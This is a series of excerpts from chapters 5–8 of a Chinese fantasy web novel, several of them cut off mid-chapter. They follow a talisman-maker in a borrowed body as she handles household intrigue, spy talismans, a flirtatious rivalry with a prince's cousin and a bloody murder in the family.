相楚澜的脸色并不好看:“原先只当她癫狂,没想到如今不仅癫狂,更让人头皮发麻。” 沐纶笑道:“这就是你不解风情了,人家那叫楚楚可怜、温柔似水、情意绵绵。” 相楚澜回想起茯凌刚才那一番表白和那一句阿澜哥哥,眉头就皱了起来:“我可消受不起。” 沐纶笑着摇摇头:“这林二小姐可真让人琢磨不透。从前举止孟浪、行迹大胆,今日却梨花带雨、小家碧玉。都以为她恃宠而骄才养成了偷窥男人沐浴、匕首刺杀亲弟的出格行为,可没成想却是个连仆人都敢欺上头的小可怜。外界都说她痴爱成狂,在闺房里挂满了你的画像,可今日一见,传言不实,满屋子里根本一幅画也没有。你说,到底哪个她才是真,哪个她才是假?” 相楚澜轻哼道:“真对她这么感兴趣,何不上门提亲,日后有的是时间慢慢了解。” 沐纶放声笑道:“可惜啊,只怕她看不上皇子妃之位,一心只想当我表弟媳!” 送别相楚澜和沐纶后,飞花就赶紧折回了藏月阁,一见屋就见她家二小姐拿着一根人参在手里端详,她走过去喊她:“小姐。” 茯凌看向她,虚心问道:“你说这人参是生吃好,还是掺在药里好?” 飞花见茯凌满脸泪痕,想到她先是被全嬷嬷欺负,后又被 5. 第5章 听音符 《在捉妖世界当热血万人迷》全本免费阅读 全嬷嬷竟然半夜在柴房被活活烧死了,死状恐怖,死态离奇。 这一奇闻很快就在林府上下不胫而走。 “听说那火跟有灵性似的,先是烧破了全嬷嬷的喉咙,令她说不出话,接着又烧掉了两条胳膊,之后是脚和腿,烧到这里人都还没死,还知道疼。” “火刚烧起来没多久,巡夜的护院就发现了,但那火奇怪得很,怎么扑都扑不灭。” “谁说不是呢!好几个护院提着水桶往她身上浇,可那又有什么用?还不如没人发现呢!一个人默默地死去,总好过看着这么多人围在她身边施救,自己却还是要在众目睽睽之下被一点点烧干净。” “还有呢!说那团怪火在烧完最后一根骨头后,突然就自己灭了,旁边的草啊柴啊什么的,是一点都没烧着。就像是恨全嬷嬷似的,全程只盯着她一个人烧!” “真是个稀罕事儿!全嬷嬷在府里威风了大半辈子,临到了却连个尸身都没留下,骨灰都被夜里的妖风给吹散了,真正的挫骨扬灰啊。” “这就叫善恶终有报!谁叫她平常作那么多孽,这些年多少姐妹死在她手里!活该!” “嘘!小心被夫人听见了揭了你的皮!” “怕什么?我看没准儿这把怪火就是老爷派人放的!听说全嬷嬷昨天刚得罪完老爷……” 全嬷嬷的死讯在林府炸开了锅,一大早就有各路丫鬟仆人私下偷偷非议,连飞花都有所耳闻,扭头就把听到的消息像倒豆子一样倒给茯凌听:“都说那把火绝非凡品,放火的人肯定精通玄术。不过能用这么狠毒的方式杀死全嬷嬷,八成是仇家寻仇。不过也有人说,是全嬷嬷知道了什么不该知道的,被宫里的人派杀手灭了口。她死得那样惨,看来她知道的秘密多半是跟太子有关。太子早年间外出云游历练,至今都未归朝,全嬷嬷肯定是知道了什么隐情。没想到全嬷嬷竟是如此厉害的人物,比我想象中还要手眼通天,竟然跟太子都有牵扯。” 茯凌正站在院子里甩胳膊踢腿地锻炼身体,全程都把飞花那一通叽叽喳喳当作耳旁风,见她小嘴吧嗒吧嗒讲个不停,茯凌干脆背过身去拉筋松骨,没想到这小飞花看着憨实胆小,竟还是个爱凑热闹的小话唠。小话唠见茯凌云淡风轻,完全没意识到事情的严重性,焦急地、忧心地、一脸凝重地转到茯凌面前:“小姐还不明白吗?咱们这回摊上大事啦!” 茯凌有点想笑,逗她道:“那你说说,摊上什么大事了?” 飞花欲言又止,她谨慎地看了看周围,见四下无人才敢凑近几步小声说道:“依奴婢看,全嬷嬷应该是太子杀的,全嬷嬷的仇人就是太子。太子已经盯上咱们府了,咱们府就要大祸临头了!” 茯凌忍住笑意,没想到竟让一个素未谋面的倒霉太子给她背了锅,她看向一脸严肃的飞花,伸手拍了拍她肩膀,宽慰道:“不至于。你都说太子云游在外、尚无归期了,他怎么会突然出现杀人呢?” “就是因为云游在外才方便杀人呀。”飞花道,“小姐你想,太子不在京中,那他岂不是想杀谁就杀谁,谁都不会怀疑到他身上。毕竟太子殿下的坐骑是天青神虬,飞来飞去的杀个人,可太方便了。” “等等,”茯凌耳朵一竖,“你说那个太子,他的坐骑是什么?” 飞花被她问愣了:“小姐为何这幅表情?天青神虬乃太子坐骑,这不是全京都人神两族皆知的事么?” 茯凌:“!!!” 这个世界的太子竟然嚣张到拿天青神虬当坐骑?她对天青神虬的认知仅限于书中只言片语的描述,一度认为这种上古神兽只是人们口耳相传、不切实际的神秘传说,没想到天青神虬竟然真的存在?还窝囊到给神族太子当坐骑? 不可能!茯凌怀着复杂的心情开始吃不到葡萄说葡萄酸:“我看此天青神虬非彼天青神虬。给你们太子殿下当坐骑的那个,估计就是个未化人形的大妖。真正的上古神兽,哪会给寿命只有1000多岁的神族当坐骑?” “那奴婢就不知道了。”飞花并不在意这些,她连太子殿下的面都没见过,更不要说天青神虬了。她想到什么,看向茯凌道:“不过小姐,你今天好像还没喝药。” “不喝了。”茯凌摆摆手,“吃完那根人参,我现在觉得自己什么病都没了。”就是有,也是红眼病。她心里一直想着那个给神族当坐骑的天青神虬呢。 作为一名出色的制符师,茯凌天生对妖怪有着迷一般的执着,渴望收服各路厉害的大妖名妖。虽然她曾与妖族之最缔结了主仆契,但她是连哄带骗,才诓得那条上古妖龙与她订契。 要知道,自从将那条上古妖龙收进妖符后,她一次都没召唤过他,甚至不敢在心里默念妖龙的名讳宗政向离,生怕一个不小心会把他召唤出来。 她没信心可以完全压制住宗政向离,担心遭到他的报复,总想着等修为突破下一个层级再对他行召唤之术。可那个什么太子,竟然可以让天青神虬给他当坐骑? 茯凌越想越酸,最后不得不强行转移注意力,然后她就想起了卖画的事,也不知道宋奶娘的画卖得怎么样了。 她本想在街上支个摊位叫卖相楚澜的画像,但计划还没来得及实施就被飞花紧急叫停,原因是宋奶娘交代过,让她这些天看紧茯凌,别让她瞎折腾乱生枝节。茯凌无法,只好把宋奶娘喊进府,让她代为把画转卖出去。 得知茯凌要把画像卖掉的当下,宋奶娘别提有多感动,拉着茯凌的手满眼欣慰:“好姑娘,我的好姑娘,想开了就好!咱们以后就安安稳稳的,再不去想那些虚无缥缈的白日梦。” 茯凌只好配合地点头:“对,奶娘所言极是。” 心里想的却是:恐怕要让你失望了,我不仅要继续缠着相楚澜,还要孜孜不倦地努力、全力以赴地勾引,否则我就回不去原来的世界了。 想完卖画的事,她转而又想起支线任务。既然沐纶给的灵药如此管用,那她也得抓紧把任务一提上日程才是,毕竟全嬷嬷只是开胃菜,灭门名单上的其他人才是重头戏。 茯凌见飞花已经开始忙活一天的清扫工作,便独自转身回了房,她走进里屋,确保不会有人进来打扰后,便催动体内灵力,以食指为笔,迅速在空中画出一道听音符,又低呵一声“破”,那道听音符便应声幻化为一只纸鹤,在空中扑腾着双翅等待茯凌传令。 “林如进、杜若芬、戚媚娘、林浚烨、林昊晗、林羽汐。”茯凌向纸鹤报出一串人名,那纸鹤便煽动双翅一分为六,分别朝着六个方向飞去,飞着飞着,纸鹤身形越来越薄、越来越透,还未飞出里屋便皆化为透明、消失在空中。 听音符化成的纸鹤是制符师的另一双耳朵,它们能够秘密跟踪目标,将目标所说所言实时传送给制符师,方便制符师掌握目标的一举一动。 只不过听音符纸鹤只能跟踪修为尚浅的目标,无法靠近那些修为达到一定层级的神族、妖族。而一旦发现目标无法追踪,纸鹤便会瞬间自我焚毁,以防目标发现自己曾被人试图窃听。 将听音符纸鹤放飞出去后,茯凌就坐到桌边给自己倒了杯水,静静等待纸鹤消息。片刻后,她感知到有三只纸鹤成功完成目标追踪,而剩余三只纸鹤则进行了自我焚毁。 焚毁的三只纸鹤分别是追踪林如进、杜若芬、庶长子林浚烨的三只,看来这三人有一定的修为,收拾起来不会那么容易。 茯凌在心中重新捋了捋林府的关系:林如进与嫡妻杜若芬成亲后一直无所出,后面便纳了姨娘戚媚娘,戚媚娘肚子争气,入府一年便生下了林如进长子林浚烨。之后林起月的人族母亲进府,生下林府二小姐林起月。再接着,嫡妻杜若芬奋起直追、一举得俩,生下三少爷林昊晗和四小姐林羽汐。 既然林如进、杜若芬、林浚烨三人无法用听音符追踪窃听,那她便主动上门去会一会他们。茯凌来到院子里,对正在扫地的飞花道:“我去夫人院子一趟,要是宋奶娘来了,就让她稍微等我一会儿。” 飞花忙道:“可是宋奶娘说了,要小姐好好待在自己院子里养病,没事不要出院子。” “现在不是正好有事么?”茯凌边往外走边道,“就这样,我去去就回。” 凭借着林起月的记忆,茯凌七拐八弯地往杜若芬的院子里去,一路上遇到的婢子奴仆都用好奇且不屑的目光打量她,但经过她身边时,都会做做表面功夫向她欠身问安,茯凌浑不在意,一路畅通无阻地来到杜若芬院子,可刚进去就遇到了阻碍,一个大丫鬟将她拦在院子里,吊着眉梢问她:“二小姐这是干嘛?不待在藏月阁好好养病,跑来夫人院子里干什么?不知道老爷给你下了禁足令,禁止你在府中乱跑吗?” 林如进给她下了禁足令?她还真不知道。 回想起一路过来遇到的奴婢下人,茯凌后知后觉意识到,原来他们看她的眼神里不光有好奇和不屑,还有几分看热闹的意思。不过她也不在乎就是了。茯凌一本正经地看着眼前拦她去路的大丫鬟: 6. 第6章 美人出浴图 《在捉妖世界当热血万人迷》全本免费阅读 “你有办法?”杜若芬狐疑地看向茯凌,她从不认为她这个庶女是个有头脑的,但今日一见,却觉得她似乎与往日不同,像是去了一趟北地,突然就长出脑子来了,“你且说说看,你有什么法子?” 茯凌不想惹人怀疑,于是故意不把办法说实,只说了个虚头巴脑的想法,准备引导杜若芬自己把计策补全,道:“只要大哥犯下不可饶恕的大错,那他就没资格参加大玄殿的试炼了,还会给林家惹上大麻烦,届时父亲为了保全自己和林家,难免不会牺牲大哥。” “我还以为是什么好主意呢。”林羽汐翻了个白眼,“说了跟没说一样!” 杜若芬也不屑道:“林浚烨是那么容易就能被我们抓住错处的人么?他做事一向严密,想挑他的错,简直痴人说梦。” 茯凌云遮雾绕地使劲提醒:“这世上的事真真假假,但有一点却是怎么也假不了的,就是但凡是个人,他总会犯错。” “真真假假……是个人总会犯错……”林羽汐重复着茯凌的话,突然就灵机一动道,“对了!林浚烨做事缜密不留把柄,那我们就给他人为制造把柄,栽赃嫁祸不就好了!” “栽赃嫁祸?”杜若芬想了想,却最终什么也没说,她收敛了情绪,对茯凌道:“你父亲把你禁了足,你总在我这儿待着也不像样,没什么事就尽早回罢。” 这是在提防她呢。茯凌在心里笑了笑,非常识趣地起身与杜若芬、林羽汐告别。她刚走没多久,林羽汐就提醒杜若芬道:“我才不信她会这么好心,恐怕她恨我们不比林浚烨恨我们少。我可都还记得她在三哥哥脖子上插的那一刀!” 杜若芬道:“从北地捡了条命回来,倒是学聪明,知道借刀杀人了。她这是在借我们的刀,杀林浚烨和戚姨娘,好为她那个人族母亲报仇。” 林羽汐道:“她那个卑贱的人族母亲死便死了,就是不被戚姨娘药死,也迟早会病死老死。她却想利用我们报复林浚烨和戚姨娘,真是晦气!” 杜若芬冷笑道:“她想借刀杀人,我们就遂了她的心愿,只不过要将她跟林浚烨、戚姨娘一起埋了,也好为晗哥儿出一口恶气!” “就是!”林羽汐道,“三哥哥脖子上那一刀不能白挨!” 杜若芬又道:“不过听你爹说,她此番回来,竟不知为何与二殿下、奚王世子结了缘,昨日那二位还特地登门为她送药。若那二位贵人有意保她,恐怕事情会变得棘手。” 林羽汐道:“她纠缠奚王世子,早是人尽皆知的事,被罚去北地前还死皮赖脸跪在奚王府门口求世子收留,丢尽了我们林府的脸。依女儿看,世子肯定是因为这层缘故,得知她从北地回来九死一生,才善心大发拉上二殿下送药。只不过是上位者可怜一只蝼蚁罢了。” 杜若芬回想起茯凌刚才的气色,却不像是个身染重疾的,兀自念道:“想不到那药竟有如此奇效……” “原来沐纶是大栎国二殿下……”茯凌在回去的路上自言自语地念到。她通过听音符将林羽汐的话听得一清二楚,虽然听不到杜若芬说了什么,但仍旧能够大致还原出她们母女俩的对话内容。林浚烨狡诈,且修为较高,以她现阶段的灵力尚不能跟他硬碰硬,不如把水搅浑,让杜若芬与林浚烨狗咬狗,借林浚烨之手反杀杜若芬。 从林起月的记忆来看,茯凌不认为杜若芬和林羽汐能栽赃嫁祸得了林浚烨,反倒会因此被林浚烨抓住把柄。但不管谁输谁赢,都不妨碍她坐山观虎斗。 - 自那日从杜若芬院子里回来后,茯凌过了几天安生日子,派出去的听音符纸鹤暂时还没收到什么特别要紧的消息,无非就是三少爷林昊晗新买了一个书童、四小姐林羽汐对一个叫鹧衣的戏子十分钟情、戚姨娘经常买脂粉钗裙…… 不过这些天也不是一无所获,至少她交给宋奶娘的那些相楚澜画像十分畅销,不过短短数日就倾售一空,帮茯凌赚了一大笔钱。 就是这钱来得太容易也不是什么好事,比如茯凌现在就动上歪心思,她把画纸铺在院子里的石桌上,研好墨、提起笔,准备凭着林起月偷看相楚澜沐浴的记忆,看看能不能画出一幅美人出浴图,定能卖上好价钱。 虽然茯凌本人只会画符,对正儿八经的作画一窍不通,但好在她现在使用的是林起月的身体,笔尖刚触碰到画纸,她就体会到了什么叫“下笔如有神”,不过半柱香的功夫,一幅旖旎美人图就完成了。 茯凌颇有成就感地欣赏着自己的大作,但看着看着就发现她把事情想得太简单了,虽然身体是林起月的没错,但灵魂是她茯凌自己的,这幅新鲜出炉的美人出浴图只是看得过去而已,细细一瞧就会发现有形无神、遥不能及林起月的原装水平。 看来这画大概率是卖不出去了。茯凌对着石桌上的相楚澜出浴图摇了摇头,正要把手里的毛笔搁下,忽而却听到一声饱含隐怒和少年气的质问:“你在干什么?” 茯凌下意识就抬头望去,然而并没有看到什么人,正疑惑间,有个什么东西突然被扔到她脚边,她低头一看,竟是一幅画卷,再循着画卷扔来的方向看去,只见相楚澜正坐在院墙外一棵紧邻着的桃树枝干上,红衣似火,外衬雪纱,在粉嫩的桃花花瓣掩映下矜贵而妖异,茯凌笑着跟他打招呼:“你来找我?” 相楚澜似乎并没有从树上下来的意思,他神情倨傲地看着她:“这画是你拿出去卖的?” 茯凌弯腰捡起脚边的画,她将画卷舒展开来,看到画里的相楚澜正对月独饮,画卷右下角的落款大大方方写着“林起月”三字。她将画卷重新收起系好,冲相楚澜晃了晃卷轴:“这画是你花钱买的?” 相楚澜飞身一跃轻盈落地,他身姿颀挺站在茯凌面前:“你就这么缺钱?拿我的画像出去换钱还不够,还要在这儿画这种难登大雅的风月图?” 茯凌看了眼他口中难登大雅的风月图,拿起来举到相楚澜面前:“你说这幅?这幅哪里风月了?我记得你沐浴完之后就是这个样子,很纪实啊。而且该遮的地方,我都贴心地给你遮住了没画。不过这样看起来倒是更撩人了……” “林起月!”相楚澜一把夺过她手里的画卷,“你到底想干什么?” 茯凌见眼前的少年明明气急败坏,却拘于礼教,偏要用仅存的风度压制着内心对她的不满,不禁笑道:“你刚才不是已经猜到了吗?我缺钱。身边没什么好卖的,就这些画还值几个钱。说起来也是托了你的福,改日真得请你吃顿好的以示感谢。” 相楚澜没想到她竟能如此理所当然地说出这些话。他顾及她的面子,也因为这件事实在丢人,所以才没正式登门找她对峙,而是选择翻墙进来。可她现在却毫无羞耻之心地大方承认了,脸颊表情明朗,嘴角翘起来,丝毫不见悔意和难堪。 相楚澜不悦道:“你要多少钱?我给你便是。以后不准再用我的画像敛财,更不准再作这些让人误会的画。” 茯凌其实也觉得卖画这事做得不太地道,要不是因为没钱就会寸步难行,她也不愿意冒着得罪相楚澜的风险。此刻便笑眯眯地摆手道:“不用不用,钱我已经赚够了,以后绝对不会再卖你的画像,你放心好了。”反正都已经卖光了,她也画不出新的来。“还有就是,今天这幅美人出浴图,我是画着自己欣赏的,绝不对外出售。” 美人出浴图?她竟还给这幅画取了名字?还画着自己欣赏?相楚澜脸色变了变,真不知道为什么一个女孩子竟能如此厚颜无耻。 以前偷窥他沐浴被抓时还会羞得满脸涨红,如今却能面不改色地对他大行调戏之词,活像一个伪装成高门小姐的山中女大王,他都不知道该跟她说些什么了。 茯凌笑意盈盈地瞅着相楚澜,见对方正用那双漆如点墨的眸子看着她,左眼写着“真荒唐”,右眼写着“有毛病”,她哈哈一笑:“偷着在心里骂我呢?” 相楚澜不跟她啰嗦,他冷脸催动玄术,手里那幅出浴图就瞬间自燃起来,很快便烧为灰烬。茯凌连忙溜须拍马地叹道:“妙啊!世子殿下的玄术精妙绝伦,令我辈自愧不如!” “少阿谀奉承。”相楚澜从怀里掏出一锭金子放在石桌上,“这锭金子就当我买你的画。恳请二小姐将卖出的画召回,不要教我奚王府颜面扫地。” 茯凌是江湖儿女,着实没想到卖画会牵连王府颜面,看相楚澜虽纵逸轻狂,但确实有点风度,也希望在他面前挣挣好感分,便拍着胸脯保证道:“我一定想方设法将画召回。只是卖画容易赎画难,这锭金子恐怕……” 相楚澜于是又拿出一锭金子给她:“两锭够了吧?再不够,我就要怀疑二小姐是存心敲我竹杠了。” “够了够了。”茯凌手捧两锭金子,笑得比花都灿烂,“世子殿下出手阔绰,真乃吾辈楷模!不过我也不白拿你这些金 7. 第7章 消忆符 《在捉妖世界当热血万人迷》全本免费阅读 茯凌不管天不管地,只管举着两个石凳就扑过去要往林昊晗身上抡,吓得林昊晗魂飞天外,一边惊呼救命,一边手脚并用地倒退着往后爬,完全没有了平日里嚣张公子哥儿的影子,狼狈得像是油锅上的蚂蚱。 “林起月!你走开!走开!啊!别过来!”林昊晗一通吱哇乱叫,他手下的那些仆人见势不妙,赶紧架住林昊晗就转身要跑,茯凌一手一个石凳就这么冲他们扔过去,把林昊晗和他的手下直接激出了逃命的态势,一溜烟就纷纷逃窜奔走、消失无影。 茯凌拍了拍手上的灰尘,心想吓死你们,再一看,只见有个书童打扮的小男孩儿正站在原地一动不动地看着她,是先前跟着林昊晗那伙人乌泱泱一道进来的。茯凌也去看他:“你怎么不跑?你主子都跑了。” 男孩儿不说话,只静静地看着她,那双眼睛跟有灵性似的,漆黑的瞳孔水色潋滟,看得人有些莫名,又有些心惊胆战。茯凌很不喜欢这种感觉,她皱了皱眉,走过去扶起地上的飞花,对男孩儿说:“你赶紧走,不然就杀了你!” 男孩儿这才开了口,冷不丁冒出一句:“你跟他有仇?” 茯凌心想,你个小屁孩儿管得还挺宽。她故作凶相地瞪视他,威胁道:“我前些天吃错了药,现在很狂很暴躁!你再不走,我就拿你剁了煨汤!” 她撂下狠话,可男孩儿非但没有表现出一丝一毫的恐惧,反而还弯唇无声地笑了笑。茯凌有被蔑视到,眉毛一竖就要发作,可陡然间又觉得眼前这个小男孩儿有些眼熟,好像在哪儿见过似的,再一想,这不就是当初拦在她马车前乞讨的小乞丐嘛!没想到林昊晗前几天买回来的小书童竟然是他? 茯凌眉间稍微舒展了些:“原来是你。脸上拾掇得这么干净,我差点儿都没认出来。你怎么会被卖到府里来?你奶奶呢?” 他没立即回答她的问题,默了几秒才淡淡吐出两个字:“死了。” 死了?茯凌愣了下,一时之间却又不知该如何安慰他,可瞧他的样子倒不像是十分伤心的,难不成是被打击木了?哀莫大于心死了?不过茯凌也没功夫细究这些,不过是有过一面之缘的陌生人而已。她看了看飞花脸上的鞭痕,对小乞丐道:“你快走罢,我要给我的侍女处理伤口了。” 飞花也关心地催道:“赶紧回去。三少爷脾气不好,你若回去晚了被他发现,免不了一顿好打。” 小乞丐又看了茯凌一眼,却没再说什么,转身就头也不回地离开了。飞花看着他单薄的背影,却幽幽叹了口气:“真可怜。” “你还是先可怜可怜自己吧。”茯凌道,“你脸上这道鞭痕得涂些金创药才行。”又看了眼飞花的肚子,“畜生下脚那么重,肚子有没有事?还疼吗?” “小姐你不知道,”飞花面露忧色,“三少爷他……”她声音低下去,又羞又厌道,“听说三少爷有狎童取乐的癖好,刚刚那个男孩儿长相那般漂亮,恐怕是三少爷养在身边的娈童。” 茯凌:“……” 你认真的吗? 见茯凌一副“你在瞎说八道什么”的表情,飞花忙又急道:“是真的,奴婢没有骗您,不信小姐可以去问府中老人。小姐以前两耳不闻窗外事,所以可能不知道这些,三少爷身边的书童个个俊俏,可都活不过几年。” 茯凌:“……” 飞花:“奴婢真没骗您!” 茯凌不明所以但大为震撼,回想起这些天对林昊晗的窃听,好像真能找出一些蛛丝马迹,只是她当时根本没往那个方向想。她啧啧地摇了摇头:“变态啊!” 飞花也跟着叹气:“可怜呐。” 茯凌准备扶飞花进屋查看她肚子上的伤势,可经过院墙边时却发现相楚澜竟然还没走,她惊讶地看着他气定神闲、非常有空地坐在桃花树上,一抹玄色在花瓣淡粉间别有生趣,心想你咋就这么爱看热闹呢?仰头问他:“你怎么还没走?” 相楚澜坐在高处,低垂眼眸睥睨着她:“吃错了药?力大无穷?特别暴躁?” 他挑了挑眉梢:“你还真是令人刮目相看。” 既然他听也听了,看也看了,茯凌索性也不藏着掖着,平铺直叙道:“我若是不搬出二殿下,只怕今天不止是我的侍女,连我自己也要吃不了兜着走。” 相楚澜却不肯信她鬼话:“瞧你刚才神气凛凛的样子,只怕在你吃不了兜着走之前,那位三少爷就已经被你用石头砸死了。” “世子殿下有所不知,我三弟弟虽然学艺不精,但父亲母亲却极为爱护。他若存心欺我,只怕我再大的力气也无处使,父亲母亲早就叫我尸骨无存了。”茯凌目光笔直地迎视而上,“不过像世子殿下这样从小被父母养在蜜罐里的人,哪里会明白我的难处和苦衷。若非在北地偶逢奇遇,受高人点拨,有了这一身蛮力,又幸获二殿下赠药,恐怕殿下现在见到的,就不会是一个能说能走、完完整整的我了。” 她主动示弱,以柔克刚,几句话就挡回了相楚澜接下来的质问。他现在反倒生出一种自己在帮着坏人欺负小姑娘的罪恶感,相楚澜轻咳一声:“你们林府的家事,我也懒得管。”说完便要飞身下树,茯凌见他要走,立马出声喊住:“等等!” 相楚澜停下动作:“有事?” 茯凌道:“确有一事想请世子殿下帮忙。”她看了看飞花受伤的脸颊,“她的脸需要金创药才行,可我如今被父亲禁足在院内,无法出门,能不能烦请世子殿下代为买药?”她说着就掏出些碎银子,伸手递给相楚澜,“世子殿下放心,画像的事,我一定设法全数召回。” 相楚澜想了想,最终还是鬼使神差地从桃花树上飞跃下来,落到茯凌身前,他取下她手心里的碎银子,指尖无意间轻轻触碰到她柔软的手心,突然就好奇这双纤细绵软的手,刚才是如何举起石桌石凳的。可下一秒就回过神来,暗道,这有什么可好奇的?与他何干? 茯凌完全没意识到刚才短暂的肢体碰触,他见相楚澜肯下来取银子,便觉得这事有戏,就看准时机得寸进尺道:“还有一事,除了金创药,我另有一些草药需要添置,还请世子殿下一并买来。” 买一样是买,买两样也是买,相楚澜倒没觉得有什么:“你说。” 茯凌道:“还请世子殿下稍等片刻,我回屋把方子写下来给你。” “不必这么麻烦。”相楚澜道,“你直接说与我听便是。” 茯凌怀疑性地瞅了他一眼,相楚澜读懂了她的眼神,略微无语道:“在下不才,记忆力却勉强说得过去。” 茯凌便报出一连串的草药名,连各自份量也都一一说清。这副方子是宗门长老给的,嚼碎服下后就会出现脉象不稳、或虚弱或躁狂的迹象,在外人看来,服药之人就像是得了失心疯。当初宗门令茯凌服下此药,用来诱骗宗政向离,没想到今日竟又派上了用场。 相楚澜将茯凌所报药名和份量全都默默记下,之后却对上茯凌充满疑惑和不信任的眼神,他只好把她刚才所述一五一十地重复了遍:“可是这些?” 茯凌张了张嘴,没想到这人的记忆力竟如此恐怖,林起月眼光不赖啊!她赶紧弯唇,笑眯眯地奉承他道:“世子殿下惊才绝艳,吾辈拍马不及,佩服,佩服!” 油腔滑调。相楚澜腹诽一句,之后便飞身跃墙而去。 他去了京都最大的药材铺子,很快就买齐了茯凌所需的所有药材,提着大大小小的药包往回走时,突然就觉得自己是不是中了邪,明明是去质问她为何卖他画像,现在反倒成了她的跑腿小厮。 来到藏月阁院外,相楚澜抬头看着那堵青砖红瓦的院墙,轻轻叹了一气,他也是有病,竟然还跟那个疯子里应外合起来了。 趁相楚澜买药的空当儿,茯凌帮飞花检查了一下伤势,还好肚子上被踢的那一脚不算太重,想来林昊晗就是个半桶水,不过也多亏他学艺不精。 茯凌帮飞花简单处理了下,飞花没想到自己有生之年竟然还能有这待遇,自己本是伺候人的,现在反倒被主子伺候起来了,感动得她眼泪水吧嗒吧嗒就簌簌往下掉:“小姐,您对奴婢真好,咱俩才认识几天啊,您就对奴婢这么好,您真是个大善人。” “我可不是什么大善人。”茯凌道,“别看咱俩瞧着一般大,可我都一百来岁了,你才十几岁。你在我眼里,就是个小屁孩儿,我这是尊老爱幼,基本素质。” 飞花哭唧唧:“奴婢打小就没了娘,奴婢爹把奴婢卖给了伢子,奴婢被转手卖了好几回,遇到过不少神族,一千来岁的神族都遇到过。可除了小姐,没人把奴婢当小孩儿看。奴婢给五百多岁的神族夫人捏脚捶背,给七百多岁的神族老爷洗衣做饭,奴婢什么都会。” 茯凌摸摸飞花的脑袋:“你也别老奴婢奴婢的了,我听不习惯。以后没人的时候,你自称‘我’就行,反正我也不是什么正儿八经的主子。这几天你也看到了,整个林府上下,除了你和宋奶娘,就没人把我当二小姐。”况且她本身也不是什么朱门绣户里的千金小姐,她身世跟飞花也差不到哪儿去,刚出生没多久就被父母丢在了路边,要不是恰好被路过的师父捡到带回宗门,恐怕早就命丧野外了。 飞花却道:“小姐可别让奴婢改称呼。小时候说‘我’说习惯了,被卖进大户人家,对着那些奶奶小姐还说‘我’,挨了不少打,好不容易才称‘奴婢’称习惯。” 茯凌道:“那你慢慢再改回来。” 飞花摇头:“奴婢的身契还在夫人那儿,万一哪天又把奴婢发卖了……还是不改的好。” 茯凌无法,说:“行吧,随你。”听到外面有脚步声,茯凌笑了笑,对飞花道:“你的金创药来了。” 她出门相迎,看到拎着药包的相楚澜,拱手致谢道:“世子殿下人美心善,真乃吾辈典范!” 相楚澜把药包递给她:“吾辈可不想被你代表。” 茯凌笑笑:“世子殿下贵人事忙,想来不愿在我这儿多待。我识相,不留世子殿下。世子殿下慢走,我送您到墙根下。” 相楚澜见她一边说一边伸出胳膊准备送客,心里古怪,总觉得她言行举止颇有几分阴阳怪气,不过他也没说什么。 茯凌一路将他送到院墙底下:“世子殿下走好。” 相楚澜不轻不重地“呵”了声,接着便纵身一跃,英姿飒爽地翻墙而去。茯凌站在墙边定了定,心想这人这下应该是真的走了吧?可别再猫这儿看她表演了。 她把药包拆开检查了一下,发现草药都对,于是一样一样把草药放嘴里嚼碎咽下 8. 第8章 三杀 《在捉妖世界当热血万人迷》全本免费阅读 茯凌本想等到三更半夜所有人都睡下后,再对林昊晗动手,安静地送他归西。 可谁知林昊晗不做人,茯凌用过晚膳不过两个时辰左右,正坐在榻上修炼灵力,忽而却通过追踪林昊晗的听音符听到了奇怪的动静。 林昊晗的声音隔着遥远的距离清晰无比地传进茯凌耳朵里,他时而语气□□地说些淫词艳语,时而态度恶劣地说着胁迫恐吓的话,时而哄人时而骂人,时而惊呼时而□□,听得茯凌心情浮躁,几乎不用仔细思考就能猜出林昊晗那儿正在发生什么,他此时此刻恐怕正在对谁伸出魔爪,然而却遭到了对方的强烈反抗。 那个谁会不会是小乞丐?畜牲啊! 茯凌在心里暗骂了林昊晗一句,不管他现在正在对谁施暴,她既然知道了,就不能坐视不管。 虽然她不喜欢多管闲事,但横竖都要在今晚解决掉林昊晗,早杀晚杀区别不大,能顺手救个人免遭变态蹂躏也算行善积德了。 茯凌立刻行动,她身手敏捷地跳窗离开,一路避人耳目翻进林昊晗院子。 不知是不是因为林昊晗自己也知道他的那点儿龌龊癖好见不得人,此刻他院子里竟无人把守,四周静悄悄的,连里屋似乎都没什么声音传出。 茯凌小心翼翼地靠近,很快就溜进了林昊晗居住的里屋,追踪林昊晗的听音符已经有一阵没传出任何声音了,她正纳闷,往里走时却看到了惊人的一幕—— 只见林昊晗倒在血泊中,身上多处血迹,脖颈上更是有一道刺目的血痕,俨然已经没有了生命迹象。 在他身前,站着头发凌乱狼狈不堪的小乞丐,小乞丐身上鞭痕累累、血污肆虐,白皙的脸上更是被溅上一串猩红的血珠,自眉毛至脸颊斜着往下,右眼似乎被浸入鲜血而变得猩红狰狞,他手里还握着那柄割断林昊晗喉咙的利剑,鲜血沿着剑刃一滴一滴地落在他脚边。 茯凌愣了半秒,脑子里涌现出来的第一个想法是:她竟被人捷足先登了?! 小乞丐这时扭头看向茯凌,表情冷冷的,与其说是害怕,倒更像是鄙夷和气愤,像是吃了一口苍蝇的那种无语恶心。茯凌也看着他,一时间不是很能读懂他脸上的表情,只看到他一只眼睛仍然澄澈明净,另一只眼睛却被血渍染成了恐怖的红色。 她走到他面前:“你杀了他?” 小乞丐个头不高,还不到茯凌肩膀,却气场两米地、挺不屑地把手里的剑扔到地上:“你不是都看到了?” 随着“哐铛”一声,那柄杀死林昊晗的长剑就和林昊晗一起躺在了血泊里。茯凌在林起月的记忆里看到过这把剑,是林如进送给林昊晗的生辰礼,平日都被林昊晗挂在卧房,没想到现在却成了送他入土的凶器。 茯凌啧啧两声:“你一个人族小屁孩儿,竟然能杀得了他?他虽然学艺不精,但起码也学过几招玄术。” 小乞丐“嗯”了声,淡声道:“是杀了挺久。” 茯凌:“……” 这林昊晗未免也太废了吧?被林起月扎完脖子,现在又被一个看起来只有八、九岁大的人族小乞丐给反杀了,真丢人呐! 她上上下下打量了一下小乞丐,见他身上伤痕遍布,衣服也乌七八糟的全是血口子,又恢复到了她第一次见他时的乞丐样儿,看来确实杀林昊晗杀了蛮久。 茯凌想问他接下来准备怎么办,可刚张开嘴,却突然听到咔擦咔擦的怪声,她低头,发现怪声竟然是从林昊晗喉咙里发出的。正疑惑间,却惊讶地看到林昊晗的尸体像提线木偶似的,以一个诡异而迅速的姿势,腾一下就从血泊里站了起来,茯凌看傻了眼:“这什么东西?” 小乞丐却显得过分镇定,冷声道:“向死而生,一种古老的玄术。” 